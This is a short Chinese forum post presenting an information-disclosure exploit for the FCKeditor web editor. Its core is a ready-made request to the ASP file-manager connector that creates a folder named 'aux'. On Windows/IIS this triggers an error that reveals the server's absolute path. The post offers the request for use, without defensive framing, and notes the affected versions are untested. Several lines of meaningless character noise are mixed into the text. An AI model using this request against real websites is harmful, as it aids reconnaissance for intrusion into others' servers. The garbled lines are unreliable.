最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux

* D' a0 L% `8 q. G" r4 o
; _. b9 m2 p% |8 Z版本未测试。。。
( o# E9 ?8 l( W! r2 }
- C! g$ J4 l+ x. s6 s1 V原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。


听说IIS都可以。。